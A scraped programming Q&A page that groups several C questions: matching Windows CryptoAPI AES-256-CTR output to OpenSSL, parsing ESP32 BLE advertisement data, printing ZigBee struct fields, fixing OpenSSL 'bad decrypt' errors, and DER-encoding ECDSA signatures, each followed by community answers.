CTR-AES256 Encrypt does not match OpenSSL -aes-256-ctr - c

My problem is that I cannot get the AES 256 CTR output from the C code below to match the output from the OpenSSL command below.
The C code produces this:
5f b7 18 d1 28 62 7f 50 35 ba e9 67 a7 17 ab 22
f9 e4 09 ce 23 26 7b 93 82 02 d3 87 eb 01 26 ac
96 2c 01 8c c8 af f3 de a4 18 7f 29 46 00 2e 00
The OpenSSL command line produces this:
5f b7 18 d1 28 62 7f 50 35 ba e9 67 a7 17 ab 22
3c 01 11 bd 39 14 74 76 31 57 a6 53 f9 00 09 b4
6f a9 49 bc 6d 00 77 24 2d ef b9 c4
Notice the first 16 bytes are the same because the nonceIV was the same, however, when the nonceIV is updated on the next iteration, then XOR'd with the plaintext, the next 16 bytes differ and so on...?
I cannot understand why that happens? Anyone know why the hex codes are different after the first 16 byte chunk?
Disclaimer: I'm no C expert.
Thanks!!
Fox.txt
The quick brown fox jumped over the lazy dog
Then run the following OpenSSL command to create foxy.exe
openssl enc -aes-256-ctr -in fox.txt -out foxy.exe -K 603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4 -iv f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff -nosalt -nopad -p
Here's what foxy.exe contains:
5f b7 18 d1 28 62 7f 50 35 ba e9 67 a7 17 ab 22
3c 01 11 bd 39 14 74 76 31 57 a6 53 f9 00 09 b4
6f a9 49 bc 6d 00 77 24 2d ef b9 c4
Here's the code.
#include <Windows.h>
// What is AES CTR
//
// AES - CTR (counter) mode is another popular symmetric encryption algorithm.
//
// It is advantageous because of a few features :
// 1. The data size does not have to be multiple of 16 bytes.
// 2. The encryption or decryption for all blocks of the data can happen in parallel, allowing faster implementation.
// 3. Encryption and decryption use identical implementation.
//
// Very important note : choice of initial counter is critical to the security of CTR mode.
// The requirement is that the same counter and AES key combination can never to used to encrypt more than more one 16 - byte block.
// Notes
// -----
// * CTR mode does not require padding to block boundaries.
//
// * The IV size of AES is 16 bytes.
//
// * CTR mode doesn't need separate encrypt and decrypt method. Encryption key can be set once.
//
// * AES is a block cipher : it takes as input a 16 byte plaintext block,
// a secret key (16, 24 or 32 bytes) and outputs another 16 byte ciphertext block.
//
// References
// ----------
// https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
// https://www.cryptopp.com/wiki/CTR_Mode#Counter_Increment
// https://modexp.wordpress.com/2016/03/10/windows-ctr-mode-with-crypto-api/
// https://msdn.microsoft.com/en-us/library/windows/desktop/jj650836(v=vs.85).aspx
// http://www.cryptogrium.com/aes-ctr.html
// http://www.bierkandt.org/encryption/symmetric_encryption.php
#define IV_SIZE 16
#define AES_BLOCK_SIZE 16
typedef struct _key_hdr_t {
PUBLICKEYSTRUC hdr; // Indicates the type of BLOB and the algorithm that the key uses.
DWORD len; // The size, in bytes, of the key material.
char key[32]; // The key material.
} key_hdr;
// NIST specifies two types of counters.
//
// First is a counter which is made up of a nonce and counter.
// The nonce is random, and the remaining bytes are counter bytes (which are incremented).
// For example, a 16 byte block cipher might use the high 8 bytes as a nonce, and the low 8 bytes as a counter.
//
// Second is a counter block, where all bytes are counter bytes and can be incremented as carries are generated.
// For example, in a 16 byte block cipher, all 16 bytes are counter bytes.
//
// This uses the second method, which means the entire byte block is treated as counter bytes.
void IncrementCounterByOne(char *inout)
{
int i;
for (i = 16 - 1; i >= 0; i--) {
inout[i]++;
if (inout[i]) {
break;
}
}
}
void XOR(char *plaintext, char *ciphertext, int plaintext_len)
{
int i;
for (i = 0; i < plaintext_len; i++)
{
plaintext[i] ^= ciphertext[i];
}
}
unsigned int GetAlgorithmIdentifier(unsigned int aeskeylenbits)
{
switch (aeskeylenbits)
{
case 128:
return CALG_AES_128;
case 192:
return CALG_AES_192;
case 256:
return CALG_AES_256;
default:
return 0;
}
}
unsigned int GetKeyLengthBytes(unsigned int aeskeylenbits)
{
return aeskeylenbits / 8;
}
void SetKeyData(key_hdr *key, unsigned int aeskeylenbits, char *pKey)
{
key->hdr.bType = PLAINTEXTKEYBLOB;
key->hdr.bVersion = CUR_BLOB_VERSION;
key->hdr.reserved = 0;
key->hdr.aiKeyAlg = GetAlgorithmIdentifier(aeskeylenbits);
key->len = GetKeyLengthBytes(aeskeylenbits);
memmove(key->key, pKey, key->len);
}
// point = pointer to the start of the plaintext, extent is the size (44 bytes)
void __stdcall AESCTR(char *point, int extent, char *pKey, char *pIV, unsigned int aeskeylenbits, char *bufOut)
{
HCRYPTPROV hProv;
HCRYPTKEY hSession;
key_hdr key;
DWORD IV_len;
div_t aesblocks;
char nonceIV[64];
char tIV[64];
char *bufIn;
bufIn = point;
memmove(nonceIV, pIV, IV_SIZE);
SetKeyData(&key, aeskeylenbits, pKey);
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT | CRYPT_SILENT);
CryptImportKey(hProv, (PBYTE)&key, sizeof(key), 0, CRYPT_NO_SALT, &hSession);
aesblocks = div(extent, AES_BLOCK_SIZE);
while (aesblocks.quot != 0)
{
IV_len = IV_SIZE;
memmove(tIV, nonceIV, IV_SIZE);
CryptEncrypt(hSession, 0, FALSE, 0, (BYTE *)tIV, &IV_len, sizeof(tIV));
XOR(bufIn, tIV, AES_BLOCK_SIZE);
IncrementCounterByOne(nonceIV);
bufIn += AES_BLOCK_SIZE;
aesblocks.quot--;
}
if (aesblocks.rem != 0)
{
memmove(tIV, nonceIV, IV_SIZE);
CryptEncrypt(hSession, 0, TRUE, 0, (BYTE *)tIV, &IV_len, sizeof(tIV));
XOR(bufIn, tIV, aesblocks.rem);
}
memmove(bufOut, point, extent);
CryptDestroyKey(hSession);
CryptReleaseContext(hProv, 0);
}
I was able to get this working by the suggested pseudocode on the M$ CryptEncrypt() remarks section https://msdn.microsoft.com/en-us/library/windows/desktop/aa379924(v=vs.85).aspx:
// Set the IV for the original key. Do not use the original key for
// encryption or decryption after doing this because the key's
// feedback register will get modified and you cannot change it.
CryptSetKeyParam(hOriginalKey, KP_IV, newIV)
while(block = NextBlock())
{
// Create a duplicate of the original key. This causes the
// original key's IV to be copied into the duplicate key's
// feedback register.
hDuplicateKey = CryptDuplicateKey(hOriginalKey)
// Encrypt the block with the duplicate key.
CryptEncrypt(hDuplicateKey, block)
// Destroy the duplicate key. Its feedback register has been
// modified by the CryptEncrypt function, so it cannot be used
// again. It will be re-duplicated in the next iteration of the
// loop.
CryptDestroyKey(hDuplicateKey)
}
Here's the updated code with the two new lines added:
HCRYPTKEY hDuplicateKey;
boolean final;
while (aesblocks.quot != 0)
{
CryptDuplicateKey(hOriginalKey, NULL, 0, &hDuplicateKey);
IV_len = IV_SIZE;
memmove(tIV, nonceIV, IV_len);
final = (aesblocks.quot == 1 && aesblocks.rem == 0) ? TRUE : FALSE;
CryptEncrypt(hDuplicateKey, 0, final, 0, (BYTE *)tIV, &IV_len, sizeof(tIV));
XOR(bufIn, tIV, AES_BLOCK_SIZE);
IncrementCounterByOne(nonceIV);
bufIn += AES_BLOCK_SIZE;
aesblocks.quot--;
CryptDestroyKey(hDuplicateKey);
}
if (aesblocks.rem != 0)
{
CryptDuplicateKey(hOriginalKey, NULL, 0, &hDuplicateKey);
final = TRUE;
memmove(tIV, nonceIV, IV_SIZE);
CryptEncrypt(hDuplicateKey, 0, final, 0, (BYTE *)tIV, &IV_len, sizeof(tIV));
XOR(bufIn, tIV, aesblocks.rem);
CryptDestroyKey(hDuplicateKey);
}

I'm not familiar with the Microsoft APIs, but I believe that CryptEncrypt() uses CBC mode by default - so the output from the first block of encryption is automatically being fed into the input for the second block. You are building CTR mode yourself form scratch (which incidentally is generally not an advisable thing to do - you should use the capabilities of crypto libraries rather than "roll your own" crypto). To get the expected output you probably need to get CryptEncrypt to use AES in ECB mode - which I believe can be done using CryptptSetKeyParam (https://msdn.microsoft.com/en-us/library/aa380272.aspx) and setting KP_MODE to CRYPT_MODE_ECB.

Make sure your input file doesn't contain any extra characters like new line etc. Openssl will include those extra characters while encrypting.

Related

ESP32 - Extract Manufacturer Specific Data from advertisement

TL;DR: One ESP32 broadcasts via BLE (already working), another ESP32 listens. I am unable to parse the received advertisements correctly, i.e. can't extract the manufacturer specific data!
Goal: One ESP32 (call A) broadcasts an advertisement containing manufacturer specific data (MSD), which is received by another ESP32 (call B) who prints that data to the console.
I am using the new RISC-V based ESP32C3 which supports Bluetooth 5.0, though everything I do is based on Bluetooth 4.2.
Where I am:
A can broadcast a valid advertisement (checked with an Ubertooth/Wireshark)
B receives something from A, though the packet only very loosely corresponds to the (correct) packet received by the Ubertooth.
Code:
Structs used to set up A:
// Struct defining advertising parameters
static esp_ble_adv_params_t ble_adv_params = {
.adv_int_min = 0x0800,
.adv_int_max = 0x0900,
.adv_type = ADV_TYPE_NONCONN_IND,
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
.channel_map = ADV_CHNL_ALL,
.adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, // NO IDEA ABOUT THAT ONE, ESPECIALLY GIVEN THAT WE SEND NONCONNECTABLE AND NONSCANNABLE ADVERTISEMENTS!
};
Struct used to define the payload of the advertisement:
esp_ble_adv_data_t ble_adv_data =
{
.set_scan_rsp = false,
.include_name = true, // "Name" refers to the name passed as an argument within "esp_ble_gap_set_device_name()"
.include_txpower = false,
.min_interval = 0xffff, // Not sure what those are for, as the chosen advertisement packets are non-connectable...
.max_interval = 0xFFFF,
.appearance = 64, // 64 is appearance ID of phone. Only to maybe be able to find it on my Galaxy phone
.manufacturer_len = ble_adv_payload_len,
.p_manufacturer_data = (uint8_t *) ble_adv_payload, // Currently just some human-readable string used for debugging
.service_data_len = 0,
.p_service_data = NULL,
.service_uuid_len = 0,
.p_service_uuid = NULL,
.flag = 0
};
As the Ubertooth receives correct packets sent by A, I reckon A has been set up correctly.
Struct used to define scanning behavior of B:
// Struct defining scanning parameters
static esp_ble_scan_params_t ble_scan_params = {
.scan_type = BLE_SCAN_TYPE_PASSIVE, // Don't send scan requests upon receiving an advertisement
.own_addr_type = BLE_ADDR_TYPE_PUBLIC, // Use (static) public address, makes debugging easier
.scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ONLY_WLST, // Consider all advertisements
.scan_interval = 0x50, // Time between each scan window begin
.scan_window = 0x30, // Length of scan window
.scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE // Filters out duplicate advertisements, e.g. if an advertisement received k times, it is only reported once
};
The majority of the remaining code is just boilerplate, the only really relevant part is the callback function of B, which gets called whenever a GAP-Event occurs (GAP-Events can be found in esp_gap_ble_api.h, beginning on line 138).
B's callback function:
void esp_ble_callback_fun(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
{
// Do a case split on the different events. For now, only "ESP_GAP_BLE_SCAN_RESULT_EVT" is of interest
switch (event) {
case ESP_GAP_BLE_SCAN_RESULT_EVT:
if ((param->scan_rst).search_evt != ESP_GAP_SEARCH_INQ_RES_EVT) {
printf(
"B: Callback function received a non-\"ESP_GAP_SEARCH_INQ_RES_EVT\" event!\n");
return;
}
// Copy the parameter UNION
esp_ble_gap_cb_param_t scan_result = *param;
// Create a POINTER to the "bda" entry, which is accessed by interpreting the scan_result UNION as a scan_rst STRUCT
// Note that "esp_bd_addr_t" is a typedef for a uint8_t array!
esp_bd_addr_t *ble_adv_addr = &scan_result.scan_rst.bda;
printf("\n-------------------------\nMessage: \n");
uint8_t adv_data_len = scan_result.scan_rst.adv_data_len;
uint8_t *adv_data = scan_result.scan_rst.ble_adv;
printf("Message length: %i\n", adv_data_len);
printf("Message body:\n"); // NOT SO SURE ABOUT THIS!
for(int i = 0; i < adv_data_len; ++i)
{
printf("%X", adv_data[i]);
}
printf("\n-------------------------\n");
break; // #suppress("No break at end of case")
default:
// NOT SUPPORTED! JUST IGNORE THEM!
break;
}
}
Sample output:
Serial output by B:
Message:
Message length: 22
Message body:
31940069414C4943454FF486579512FFFFFFFF
Packet as received in Wireshark:
Frame 78135: 61 bytes on wire (488 bits), 61 bytes captured (488 bits) on interface /tmp/pipe, id 0
PPI version 0, 24 bytes
Version: 0
Flags: 0x00
.... ...0 = Alignment: Not aligned
0000 000. = Reserved: 0x00
Header length: 24
DLT: 251
Reserved: 36750c0000620900e05b56b811051000
Bluetooth
Bluetooth Low Energy Link Layer
Access Address: 0x8e89bed6
Packet Header: 0x1c22 (PDU Type: ADV_NONCONN_IND, ChSel: #2, TxAdd: Public)
.... 0010 = PDU Type: ADV_NONCONN_IND (0x2)
...0 .... = RFU: 0
..1. .... = Channel Selection Algorithm: #2
.0.. .... = Tx Address: Public
0... .... = Reserved: False
Length: 28
Advertising Address: Espressi_43:3e:d6 (7c:df:a1:43:3e:d6)
Advertising Data
Appearance: Generic Phone
Device Name: ALICE
Manufacturer Specific
Slave Connection Interval Range: 81918.8 - 81918.8 msec
Connection Interval Min: 65535 (81918.8 msec)
Connection Interval Max: 65535 (81918.8 msec)
CRC: 0x905934
0000 00 00 18 00 fb 00 00 00 36 75 0c 00 00 62 09 00 ........6u...b..
0010 e0 5b 56 b8 11 05 10 00 d6 be 89 8e 22 1c d6 3e .[V........."..>
0020 43 a1 df 7c 03 19 40 00 06 09 41 4c 49 43 45 04 C..|..#...ALICE.
0030 ff 48 65 79 05 12 ff ff ff ff 09 9a 2c .Hey........,
For a packet without MSD, I computed the longest common subsequence between the binary representation of a packet received by B (i.e. content of adv_data) and the packet received by the Ubertooth. They only had 46 bits in common, a weird number for sure!
My questions:
Am I right in assuming that adv_data, i.e. scan_result.scan_rst.ble_adv holds the raw BLE packet? The definition of ble_adv (esp_gap_ble_api.h, line 936) is incredibly confusing IMO, as it is called "Received EIR" despite EIRs only being introduced in Bluetooth 5.0...
How can I extract the MSD from a received BLE advertisement?
EIR was introduced a long time ago and was present in Bluetooth 4.0.
You should use %02X when printing hex strings since that will include leading zeros.
ble_adv contains only the EIR content, not the whole packet.
EIR uses length, type, value encoding. Your manufacturing data is encoded like this:
4 (length)
0xff (manufacturer data)
Hey (content)
Note that the two bytes of the manufacturer data content should be a Bluetooth SIG registered company id.

Breaking down raw byte string with particular structure gives wrong data

I am working with one ZigBee module based on 32-bit ARM Cortex-M3. But my question is not related to ZigBee protocol itself. I have access to the source code of application layer only which should be enough for my purposes. Lower layer (APS) passes data to application layer within APSDE-DATA.indication primitive to the following application function:
void zbpro_dataRcvdHandler(zbpro_dataInd_t *data)
{
DEBUG_PRINT(DBG_APP,"\n[APSDE-DATA.indication]\r\n");
/* Output of raw bytes string for further investigation.
* Real length is unknown, 50 is approximation.
*/
DEBUG_PRINT(DBG_APP,"Raw data: \n");
DEBUG_PRINT(DBG_APP,"----------\n");
for (int i = 0; i < 50; i++){
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data+i));
}
DEBUG_PRINT(DBG_APP,"\n");
/* Output of APSDE-DATA.indication primitive field by field */
DEBUG_PRINT(DBG_APP,"Field by field: \n");
DEBUG_PRINT(DBG_APP,"----------------\n");
DEBUG_PRINT(DBG_APP,"Destination address: ");
for (int i = 0; i < 8; i++)
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data->dstAddress.ieeeAddr[i]));
DEBUG_PRINT(DBG_APP,"\n");
DEBUG_PRINT(DBG_APP,"Destination address mode: 0x%02x\r\n",*((uint8_t*)data->dstAddrMode));
DEBUG_PRINT(DBG_APP,"Destination endpoint: 0x%02x\r\n",*((uint8_t*)data->dstEndPoint));
DEBUG_PRINT(DBG_APP,"Source address mode: 0x%02x\r\n",*((uint8_t*)data->dstAddrMode));
DEBUG_PRINT(DBG_APP,"Source address: ");
for (int i = 0; i < 8; i++)
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data->srcAddress.ieeeAddr[i]));
DEBUG_PRINT(DBG_APP,"\n");
DEBUG_PRINT(DBG_APP,"Source endpoint: 0x%02x\r\n",*((uint8_t*)data->srcEndPoint));
DEBUG_PRINT(DBG_APP,"Profile Id: 0x%04x\r\n",*((uint16_t*)data->profileId));
DEBUG_PRINT(DBG_APP,"Cluster Id: 0x%04x\r\n",*((uint16_t*)data->clusterId));
DEBUG_PRINT(DBG_APP,"Message length: 0x%02x\r\n",*((uint8_t*)data->messageLength));
DEBUG_PRINT(DBG_APP,"Flags: 0x%02x\r\n",*((uint8_t*)data->flags));
DEBUG_PRINT(DBG_APP,"Security status: 0x%02x\r\n",*((uint8_t*)data->securityStatus));
DEBUG_PRINT(DBG_APP,"Link quality: 0x%02x\r\n",*((uint8_t*)data->linkQuality));
DEBUG_PRINT(DBG_APP,"Source MAC Address: 0x%04x\r\n",*((uint16_t*)data->messageLength));
DEBUG_PRINT(DBG_APP,"Message: ");
for (int i = 0; i < 13; i++){
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data->messageContents+i));
}
DEBUG_PRINT(DBG_APP,"\n");
bufm_deallocateBuffer((uint8_t *)data, CORE_MEM);
}
APSDE-DATA.indication primitive is implemented by following structures:
/**
* #brief type definition for address (union of short address and extended address)
*/
typedef union zbpro_address_tag {
uint16_t shortAddr;
uint8_t ieeeAddr[8];
} zbpro_address_t;
/**
* #brief apsde data indication structure
*/
PACKED struct zbpro_dataInd_tag {
zbpro_address_t dstAddress;
uint8_t dstAddrMode;
uint8_t dstEndPoint;
uint8_t srcAddrMode;
zbpro_address_t srcAddress;
uint8_t srcEndPoint;
uint16_t profileId;
uint16_t clusterId;
uint8_t messageLength;
uint8_t flags; /* bit0: broadcast or not; bit1: need aps ack or not; bit2: nwk key used; bit3: aps link key used */
uint8_t securityStatus; /* not-used, reserved for future */
uint8_t linkQuality;
uint16_t src_mac_addr;
uint8_t messageContents[1];
};
typedef PACKED struct zbpro_dataInd_tag zbpro_dataInd_t;
As a result I receive next:
[APSDE-DATA.indication]
Raw data:
---------
00 00 00 72 4c 19 40 00 02 e8 03 c2 30 02 fe ff 83 0a 00 e8 05 c1 11 00 11 08 58 40 72 4c ae 53 4d 3f 63 9f d8 51 da ca 87 a9 0b b3 7b 04 68 ca 87 a9
Field by field:
---------------
Destination address: 00 00 00 28 fa 44 34 00
Destination address mode: 0x12
Destination endpoint: 0xc2
Source address mode: 0x12
Source address: 13 01 12 07 02 bd 02 00
Source endpoint: 0xc2
Profile Id: 0xc940
Cluster Id: 0x90a0
Message length: 0x00
Flags: 0x00
Security status: 0x04
Link quality: 0x34
Source MAC Address: 0x90a0
Message: ae 53 4d 3f 63 9f d8 51 da ca 87 a9 0b
From this output I can see that while raw string has some expected values, dispatched fields are totally different. What is the reason of this behavior and how to fix it? Is it somehow related to ARM architecture or wrong type casting?
I don't have access to implementation of DEBUG_PRINT, but we can assume that it works properly.
There's no need to dereference in your DEBUG_PRINT statements, for example
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data->dstAddress.ieeeAddr[i]));
should be simply
DEBUG_PRINT(DBG_APP,"%02x ", data->dstAddress.ieeeAddr[i]);
so on and so forth...
Consider this code:
DEBUG_PRINT(DBG_APP,"%02x ",*((uint8_t*)data->dstAddress.ieeeAddr[i]));
Array subscripting and direct and indirect member access have higher precedence than does casting, so the third argument is equivalent to
*( (uint8_t*) (data->dstAddress.ieeeAddr[i]) )
But data->dstAddress.ieeeAddr[i] is not a pointer, it is an uint8_t. C permits you to convert it to a pointer by casting, but the result is not a pointer to the value, but rather a pointer interpretation of the value. Dereferencing it produces undefined behavior.
Similar applies to your other DEBUG_PRINT() calls.

How to resolve the "EVP_DecryptFInal_ex: bad decrypt" during file decryption

I have the following query.Could any one please suggest me a solution.
I'm working on encryption and decryption of file for first time.
I have encrypted file through command prompt using the command:
openssl enc -aes-256-cbc -in file.txt -out file.enc -k "key value" -iv "iv value"
I have to decrypt it programmatically. So I have written the program for it, but it is throwing the following error:
./exe_file enc_file_directory
...
error: 06065064: digital envelope routines: EVP_DecryptFInal_ex: bad decrypt: evp_enc.c
The program below takes input as directory path and search for encrypted file ".enc" and try to decrypt it read into buffer.
Code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/conf.h>
#include <libxml/globals.h>
void handleErrors(char *msg)
{
{
ERR_print_errors_fp(stderr);
printf("%s", msg);
abort();
}
}
void freeMemory(char *mem)
{
if (NULL != mem)
{
free(mem);
mem = NULL;
}
}
/* Function to decrypt the XML files */
int decryptXML(unsigned char *indata, unsigned char *outdata, int fsize)
{
int outlen1 = 0, outlen2 = 0;
unsigned char iv[] = "b63e541bc9ece19a1339df4f8720dcc3";
unsigned char ckey[] = "70bbc518c57acca2c2001694648c40ddaf19e3b4fe1376ad656de8887a0a5ec2" ;
if (NULL == indata)
{
printf ("input data is empty\n");
return 0;
}
if (0 >= fsize)
{
printf ("file size is zero\n");
return 0;
}
outdata = (char *) malloc (sizeof (char) * fsize * 2);
EVP_CIPHER_CTX ctx;
EVP_CIPHER_CTX_init(&ctx);
if (! EVP_DecryptInit_ex (&ctx, EVP_aes_256_cbc(), NULL, ckey, iv))
{
EVP_CIPHER_CTX_cleanup(&ctx);
handleErrors("DInit");
}
if (! EVP_DecryptUpdate (&ctx, outdata, &outlen1, indata, fsize))
{
EVP_CIPHER_CTX_cleanup(&ctx);
handleErrors("DUpdate");
}
if (! EVP_DecryptFinal_ex (&ctx, outdata + outlen1, &outlen2))
{
EVP_CIPHER_CTX_cleanup(&ctx);
handleErrors("DFinal");
}
EVP_CIPHER_CTX_cleanup(&ctx);
return outlen1+outlen2;
}
int isDirectory(char *path)
{
DIR *dir = NULL;
FILE *fin = NULL, *fout = NULL;
int enc_len = 0, dec_len = 0, fsize = 0, ksize = 0;
unsigned char *indata = NULL, *outdata = NULL;
char buff[BUFFER_SIZE], file_path[BUFFER_SIZE], cur_dir[BUFFER_SIZE];
struct dirent *in_dir;
struct stat s;
if (NULL == (dir = opendir(path)))
{
printf ("ERROR: Failed to open the directory %s\n", path);
perror("cannot open.");
exit(1);
}
while (NULL != (in_dir = readdir(dir)))
{
if (!strcmp (in_dir->d_name, ".") || !strcmp(in_dir->d_name, ".."))
continue;
sprintf (buff, "%s/%s", path, in_dir->d_name);
if (-1 == stat(buff, &s))
{
perror("stat");
exit(1);
}
if (S_ISDIR(s.st_mode))
{
isDirectory(buff);
}
else
{
strcpy(file_path, buff);
if (strstr(file_path, ".enc"))
{
/* File to be decrypted */
fout = fopen(file_path,"rb");
fseek (fout, 0L, SEEK_END);
fsize = ftell(fout);
fseek (fout, 0L, SEEK_SET);
indata = (char*)malloc(fsize);
fread (indata, sizeof(char), fsize, fout);
if (NULL == fout)
{
perror("Cannot open enc file: ");
return 1;
}
dec_len = decryptXML (indata, outdata, fsize);
outdata[dec_len] = '\0';
printf ("%s\n", outdata);
fclose (fin);
fclose (fout);
}
}
}
closedir(dir);
freeMemory(outdata);
freeMemory(indata);
return 1;
}
int main(int argc, char *argv[])
{
int result;
if (argc != 2)
{
printf ("Usage: <executable> path_of_the_files\n");
return -1;
}
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
/* Checking for the directory existance */
result = isDirectory(argv[1]);
EVP_cleanup();
ERR_free_strings();
if (0 == result)
return 1;
else
return 0;
}
Thank you.
This message digital envelope routines: EVP_DecryptFInal_ex: bad decrypt can also occur when you encrypt and decrypt with an incompatible versions of openssl.
The issue I was having was that I was encrypting on Windows which had version 1.1.0 and then decrypting on a generic Linux system which had 1.0.2g.
It is not a very helpful error message!
Working solution:
A possible solution from #AndrewSavinykh that worked for many (see the comments):
Default digest has changed between those versions from md5 to sha256. One can specify the default digest on the command line as -md sha256 or -md md5 respectively
I experienced a similar error reply while using the openssl command line interface, while having the correct binary key (-K). The option "-nopad" resolved the issue:
Example generating the error:
echo -ne "\x32\xc8\xde\x5c\x68\x19\x7e\x53\xa5\x75\xe1\x76\x1d\x20\x16\xb2\x72\xd8\x40\x87\x25\xb3\x71\x21\x89\xf6\xca\x46\x9f\xd0\x0d\x08\x65\x49\x23\x30\x1f\xe0\x38\x48\x70\xdb\x3b\xa8\x56\xb5\x4a\xc6\x09\x9e\x6c\x31\xce\x60\xee\xa2\x58\x72\xf6\xb5\x74\xa8\x9d\x0c" | openssl aes-128-cbc -d -K 31323334353637383930313233343536 -iv 79169625096006022424242424242424 | od -t x1
Result:
bad decrypt
140181876450560:error:06065064:digital envelope
routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:535:
0000000 2f 2f 07 02 54 0b 00 00 00 00 00 00 04 29 00 00
0000020 00 00 04 a9 ff 01 00 00 00 00 04 a9 ff 02 00 00
0000040 00 00 04 a9 ff 03 00 00 00 00 0d 79 0a 30 36 38
Example with correct result:
echo -ne "\x32\xc8\xde\x5c\x68\x19\x7e\x53\xa5\x75\xe1\x76\x1d\x20\x16\xb2\x72\xd8\x40\x87\x25\xb3\x71\x21\x89\xf6\xca\x46\x9f\xd0\x0d\x08\x65\x49\x23\x30\x1f\xe0\x38\x48\x70\xdb\x3b\xa8\x56\xb5\x4a\xc6\x09\x9e\x6c\x31\xce\x60\xee\xa2\x58\x72\xf6\xb5\x74\xa8\x9d\x0c" | openssl aes-128-cbc -d -K 31323334353637383930313233343536 -iv 79169625096006022424242424242424 -nopad | od -t x1
Result:
0000000 2f 2f 07 02 54 0b 00 00 00 00 00 00 04 29 00 00
0000020 00 00 04 a9 ff 01 00 00 00 00 04 a9 ff 02 00 00
0000040 00 00 04 a9 ff 03 00 00 00 00 0d 79 0a 30 36 38
0000060 30 30 30 34 31 33 31 2f 2f 2f 2f 2f 2f 2f 2f 2f
0000100
I think the Key and IV used for encryption using command line and decryption using your program are not same.
Please note that when you use the "-k" (different from "-K"), the input given is considered as a password from which the key is derived. Generally in this case, there is no need for the "-iv" option as both key and password will be derived from the input given with "-k" option.
It is not clear from your question, how you are ensuring that the Key and IV are same between encryption and decryption.
In my suggestion, better use "-K" and "-iv" option to explicitly specify the Key and IV during encryption and use the same for decryption. If you need to use "-k", then use the "-p" option to print the key and iv used for encryption and use the same in your decryption program.
More details can be obtained at https://www.openssl.org/docs/manmaster/apps/enc.html
Errors:
"Bad encrypt / decrypt"
"gitencrypt_smudge: FAILURE: openssl error decrypting file"
There are various error strings that are thrown from openssl, depending on respective versions, and scenarios. Below is the checklist I use in case of openssl related issues:
Ideally, openssl is able to encrypt/decrypt using same key (+ salt) & enc algo only.
Ensure that openssl versions (used to encrypt/decrypt), are compatible. For eg. the hash used in openssl changed at version 1.1.0 from MD5 to SHA256. This produces a different key from the same password.
Fix:
add "-md md5" in 1.1.0 to decrypt data from lower versions, and
add "-md sha256 in lower versions to decrypt data from 1.1.0
Ensure that there is a single openssl version installed in your machine. In case there are multiple versions installed simultaneously (in my machine, these were installed :- 'LibreSSL 2.6.5' and 'openssl 1.1.1d'), make the sure that only the desired one appears in your PATH variable.
This message can also occur when you specify the incorrect decryption password (yeah, lame, but not quite obvious to realize this from the error message, huh?).
I was using the command line to decrypt the recent DataBase backup for my auxiliary tool and suddenly faced this issue.
Finally, after 10 mins of grief and plus reading through this question/answers I have remembered that the password is different and everything worked just fine with the correct password.
You should use decrypted private key. For example: youprivatekey.decrypted.key. You can run this command to decrypt your private key file.
openssl rsa -in <encrypted_private.key> -out <decrypted_private.key>
Enter password:
Enter pass phrase for encrypted_private.key: <enter the password>
Wait:
writing RSA key
it's done...
My case, the server was encrypting with padding disabled. But the client was trying to decrypt with the padding enabled.
While using EVP_CIPHER*, by default the padding is enabled. To disable explicitly we need to do
EVP_CIPHER_CTX_set_padding(context, 0);
So non matching padding options can be one reason.

Creating a DER formatted ECDSA signature from raw r and s

I have a raw ECDSA signature: R and S values. I need a DER-encoded version of the signature. Is there a straightforward way to do this in openssl using the c interface?
My current attempt is to use i2d_ECDSA_SIG(const ECDSA_SIG *sig, unsigned char **pp) to populate an ECDSA_SIG*. The call returns non-zero but the target buffer doesn't seem to be changed.
I'm intiailly filling my ECDSA_SIG wtih r and s values. I don't see any errors. The man page says r and s should be allocated when I call ECDSA_SIG_new
ECDSA_SIG* ec_sig = ECDSA_SIG_new();
if (NULL == BN_bin2bn(sig, 32, (ec_sig->r))) {
dumpOpenSslErrors();
}
DBG("post r :%s\n", BN_bn2hex(ec_sig->r));
if (NULL == BN_bin2bn(sig + 32, 32, (ec_sig->s))) {
dumpOpenSslErrors();
}
DBG("post s :%s\n", BN_bn2hex(ec_sig->s));
S and R are now set:
post r :397116930C282D1FCB71166A2D06728120CF2EE5CF6CCD4E2D822E8E0AE24A30
post s :9E997D4718A7603942834FBDD22A4B856FC4083704EDE62033CF1A77CB9822A9
now to make the encoded signature.
int sig_size = i2d_ECDSA_SIG(ec_sig, NULL);
if (sig_size > 255) {
DBG("signature is too large wants %d\n", sig_size);
}
DBG("post i2d:%s\n", BN_bn2hex(ec_sig->s));
s hasn't changed:
post i2d:9E997D4718A7603942834FBDD22A4B856FC4083704EDE62033CF1A77CB9822A9
At this point I have more than enough bytes ready and I set the target to all 6s so it's easy to see what changes.
unsigned char* sig_bytes = new unsigned char[256];
memset(sig_bytes, 6, 256);
sig_size = i2d_ECDSA_SIG(ec_sig, (&sig_bytes));
DBG("New size %d\n", sig_size);
DBG("post i2d:%s\n", BN_bn2hex(ec_sig->s));
hexDump("Sig ", (const byte*)sig_bytes, sig_size);
The new size is 71
New size 71 and s iis stiill the same:
`post i2d:9E997D4718A7603942834FBDD22A4B856FC4083704EDE62033CF1A77CB9822A9`
The hex dump is all 6s.
--Sig --
0x06: 0x06: 0x06: 0x06: 0x06: 0x06: 0x06: 0x06:
0x06: ...
The dump is still all 6s even though the call didn't return 0. What am I missing tying to DER encode this raw signature?
